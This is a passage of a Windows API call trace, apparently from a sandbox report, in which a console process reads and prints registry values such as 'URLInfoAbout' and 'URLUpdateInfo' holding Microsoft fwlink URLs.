lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.055] GetConsoleOutputCP () returned 0x1b5 [0148.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.055] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.055] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.056] __iob_func () returned 0x7fefd702a80 [0148.056] _fileno (_File=0x7fefd702ab0) returned 1 [0148.056] _errno () returned 0xc4bb0 [0148.056] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.056] _errno () returned 0xc4bb0 [0148.056] GetFileType (hFile=0x50) returned 0x1 [0148.056] lstrlenW (lpString="REG_SZ") returned 6 [0148.056] GetConsoleOutputCP () returned 0x1b5 [0148.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.056] GetConsoleOutputCP () returned 0x1b5 [0148.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.056] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.056] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.056] __iob_func () returned 0x7fefd702a80 [0148.056] _fileno (_File=0x7fefd702ab0) returned 1 [0148.056] _errno () returned 0xc4bb0 [0148.056] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.056] _errno () returned 0xc4bb0 [0148.056] GetFileType (hFile=0x50) returned 0x1 [0148.056] lstrlenW (lpString=" ") returned 4 [0148.056] GetConsoleOutputCP () returned 0x1b5 [0148.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.056] GetConsoleOutputCP () returned 0x1b5 [0148.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.057] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.057] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.057] __iob_func () returned 0x7fefd702a80 [0148.057] _fileno (_File=0x7fefd702ab0) returned 1 [0148.057] _errno () returned 0xc4bb0 [0148.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.057] _errno () returned 0xc4bb0 [0148.057] GetFileType (hFile=0x50) returned 0x1 [0148.057] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=528229") returned 45 [0148.057] GetConsoleOutputCP () returned 0x1b5 [0148.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=528229", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.057] GetConsoleOutputCP () returned 0x1b5 [0148.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=528229", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=528229", lpUsedDefaultChar=0x0) returned 45 [0148.057] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.057] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.057] __iob_func () returned 0x7fefd702a80 [0148.057] _fileno (_File=0x7fefd702ab0) returned 1 [0148.057] _errno () returned 0xc4bb0 [0148.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.057] _errno () returned 0xc4bb0 [0148.057] GetFileType (hFile=0x50) returned 0x1 [0148.057] lstrlenW (lpString="\n") returned 1 [0148.058] GetConsoleOutputCP () returned 0x1b5 [0148.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.058] GetConsoleOutputCP () returned 0x1b5 [0148.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.058] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.058] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.058] GetProcessHeap () returned 0x2e0000 [0148.058] GetProcessHeap () returned 0x2e0000 [0148.058] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.058] GetProcessHeap () returned 0x2e0000 [0148.058] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.058] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.058] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.058] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5e) returned 0x0 [0148.058] GetProcessHeap () returned 0x2e0000 [0148.058] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x60) returned 0x3019a0 [0148.058] GetProcessHeap () returned 0x2e0000 [0148.058] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.058] GetProcessHeap () returned 0x2e0000 [0148.058] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.058] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5e | out: pdwType=0x23f5f0*=0x1, pvData="http://go.microsoft.com/fwlink/?LinkId=286133", pcbData=0x23f670*=0x5c) returned 0x0 [0148.058] __iob_func () returned 0x7fefd702a80 [0148.058] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.058] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.058] _fileno (_File=0x7fefd702ab0) returned 1 [0148.059] _errno () returned 0xc4bb0 [0148.059] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.059] _errno () returned 0xc4bb0 [0148.059] GetFileType (hFile=0x50) returned 0x1 [0148.059] lstrlenW (lpString=" ") returned 4 [0148.059] GetConsoleOutputCP () returned 0x1b5 [0148.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.059] GetConsoleOutputCP () returned 0x1b5 [0148.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.059] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.059] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.059] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.059] __iob_func () returned 0x7fefd702a80 [0148.059] _fileno (_File=0x7fefd702ab0) returned 1 [0148.059] _errno () returned 0xc4bb0 [0148.059] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.059] _errno () returned 0xc4bb0 [0148.059] GetFileType (hFile=0x50) returned 0x1 [0148.059] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.059] GetConsoleOutputCP () returned 0x1b5 [0148.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.059] GetConsoleOutputCP () returned 0x1b5 [0148.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0148.060] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.060] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.060] __iob_func () returned 0x7fefd702a80 [0148.060] _fileno (_File=0x7fefd702ab0) returned 1 [0148.060] _errno () returned 0xc4bb0 [0148.060] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.060] _errno () returned 0xc4bb0 [0148.060] GetFileType (hFile=0x50) returned 0x1 [0148.060] lstrlenW (lpString=" ") returned 4 [0148.060] GetConsoleOutputCP () returned 0x1b5 [0148.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.060] GetConsoleOutputCP () returned 0x1b5 [0148.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.060] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.060] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.060] __iob_func () returned 0x7fefd702a80 [0148.060] _fileno (_File=0x7fefd702ab0) returned 1 [0148.060] _errno () returned 0xc4bb0 [0148.060] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.060] _errno () returned 0xc4bb0 [0148.060] GetFileType (hFile=0x50) returned 0x1 [0148.060] lstrlenW (lpString="REG_SZ") returned 6 [0148.060] GetConsoleOutputCP () returned 0x1b5 [0148.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.061] GetConsoleOutputCP () returned 0x1b5 [0148.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.061] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.061] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.061] __iob_func () returned 0x7fefd702a80 [0148.061] _fileno (_File=0x7fefd702ab0) returned 1 [0148.061] _errno () returned 0xc4bb0 [0148.061] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.061] _errno () returned 0xc4bb0 [0148.061] GetFileType (hFile=0x50) returned 0x1 [0148.061] lstrlenW (lpString=" ") returned 4 [0148.061] GetConsoleOutputCP () returned 0x1b5 [0148.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.061] GetConsoleOutputCP () returned 0x1b5 [0148.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.061] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.061] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.061] __iob_func () returned 0x7fefd702a80 [0148.061] _fileno (_File=0x7fefd702ab0) returned 1 [0148.061] _errno () returned 0xc4bb0 [0148.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.062] _errno () returned 0xc4bb0 [0148.062] GetFileType (hFile=0x50) returned 0x1 [0148.062] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=286133") returned 45 [0148.062] GetConsoleOutputCP () returned 0x1b5 [0148.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=286133", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.062] GetConsoleOutputCP () returned 0x1b5 [0148.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=286133", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=286133", lpUsedDefaultChar=0x0) returned 45 [0148.062] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.062] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.062] __iob_func () returned 0x7fefd702a80 [0148.062] _fileno (_File=0x7fefd702ab0) returned 1 [0148.062] _errno () returned 0xc4bb0 [0148.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.062] _errno () returned 0xc4bb0 [0148.062] GetFileType (hFile=0x50) returned 0x1 [0148.062] lstrlenW (lpString="\n") returned 1 [0148.062] GetConsoleOutputCP () returned 0x1b5 [0148.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.062] GetConsoleOutputCP () returned 0x1b5 [0148.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.063] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.063] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.063] GetProcessHeap () returned 0x2e0000 [0148.063] GetProcessHeap () returned 0x2e0000 [0148.063] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.063] GetProcessHeap () returned 0x2e0000 [0148.063] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.063] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.063] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.063] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5e) returned 0x0 [0148.063] GetProcessHeap () returned 0x2e0000 [0148.063] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x60) returned 0x3019a0 [0148.063] GetProcessHeap () returned 0x2e0000 [0148.063] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.063] GetProcessHeap () returned 0x2e0000 [0148.063] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.063] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5e | out: pdwType=0x23f5f0*=0x1, pvData="http://go.microsoft.com/fwlink/?LinkId=286134", pcbData=0x23f670*=0x5c) returned 0x0 [0148.063] __iob_func () returned 0x7fefd702a80 [0148.063] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.063] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.063] _fileno (_File=0x7fefd702ab0) returned 1 [0148.063] _errno () returned 0xc4bb0 [0148.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.063] _errno () returned 0xc4bb0 [0148.063] GetFileType (hFile=0x50) returned 0x1 [0148.063] lstrlenW (lpString=" ") returned 4 [0148.063] GetConsoleOutputCP () returned 0x1b5 [0148.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.063] GetConsoleOutputCP () returned 0x1b5 [0148.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.064] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.064] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.064] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.064] __iob_func () returned 0x7fefd702a80 [0148.064] _fileno (_File=0x7fefd702ab0) returned 1 [0148.064] _errno () returned 0xc4bb0 [0148.064] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.064] _errno () returned 0xc4bb0 [0148.064] GetFileType (hFile=0x50) returned 0x1 [0148.064] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.064] GetConsoleOutputCP () returned 0x1b5 [0148.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.064] GetConsoleOutputCP () returned 0x1b5 [0148.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0148.064] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.064] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.064] __iob_func () returned 0x7fefd702a80 [0148.064] _fileno (_File=0x7fefd702ab0) returned 1 [0148.064] _errno () returned 0xc4bb0 [0148.064] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.064] _errno () returned 0xc4bb0 [0148.064] GetFileType (hFile=0x50) returned 0x1 [0148.064] lstrlenW (lpString=" ") returned 4 [0148.065] GetConsoleOutputCP () returned 0x1b5 [0148.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.065] GetConsoleOutputCP () returned 0x1b5 [0148.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.065] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.065] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.065] __iob_func () returned 0x7fefd702a80 [0148.065] _fileno (_File=0x7fefd702ab0) returned 1 [0148.065] _errno () returned 0xc4bb0 [0148.065] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.065] _errno () returned 0xc4bb0 [0148.065] GetFileType (hFile=0x50) returned 0x1 [0148.065] lstrlenW (lpString="REG_SZ") returned 6 [0148.065] GetConsoleOutputCP () returned 0x1b5 [0148.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.065] GetConsoleOutputCP () returned 0x1b5 [0148.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.065] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.065] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.066] __iob_func () returned 0x7fefd702a80 [0148.066] _fileno (_File=0x7fefd702ab0) returned 1 [0148.066] _errno () returned 0xc4bb0 [0148.066] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.066] _errno () returned 0xc4bb0 [0148.066] GetFileType (hFile=0x50) returned 0x1 [0148.066] lstrlenW (lpString=" ") returned 4 [0148.066] GetConsoleOutputCP () returned 0x1b5 [0148.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.066] GetConsoleOutputCP () returned 0x1b5 [0148.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.066] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.066] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.066] __iob_func () returned 0x7fefd702a80 [0148.066] _fileno (_File=0x7fefd702ab0) returned 1 [0148.066] _errno () returned 0xc4bb0 [0148.066] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.066] _errno () returned 0xc4bb0 [0148.066] GetFileType (hFile=0x50) returned 0x1 [0148.066] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=286134") returned 45 [0148.066] GetConsoleOutputCP () returned 0x1b5 [0148.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=286134", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.066] GetConsoleOutputCP () returned 0x1b5 [0148.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=286134", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=286134", lpUsedDefaultChar=0x0) returned 45 [0148.067] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.067] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.067] __iob_func () returned 0x7fefd702a80 [0148.067] _fileno (_File=0x7fefd702ab0) returned 1 [0148.067] _errno () returned 0xc4bb0 [0148.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.067] _errno () returned 0xc4bb0 [0148.067] GetFileType (hFile=0x50) returned 0x1 [0148.067] lstrlenW (lpString="\n") returned 1 [0148.067] GetConsoleOutputCP () returned 0x1b5 [0148.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.067] GetConsoleOutputCP () returned 0x1b5 [0148.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.067] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.067] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.067] GetProcessHeap () returned 0x2e0000 [0148.067] GetProcessHeap () returned 0x2e0000 [0148.067] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.067] GetProcessHeap () returned 0x2e0000 [0148.068] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x60 [0148.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.068] __iob_func () returned 0x7fefd702a80 [0148.068] _fileno (_File=0x7fefd702ab0) returned 1 [0148.068] _errno () returned 0xc4bb0 [0148.068] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.068] _errno () returned 0xc4bb0 [0148.068] GetFileType (hFile=0x50) 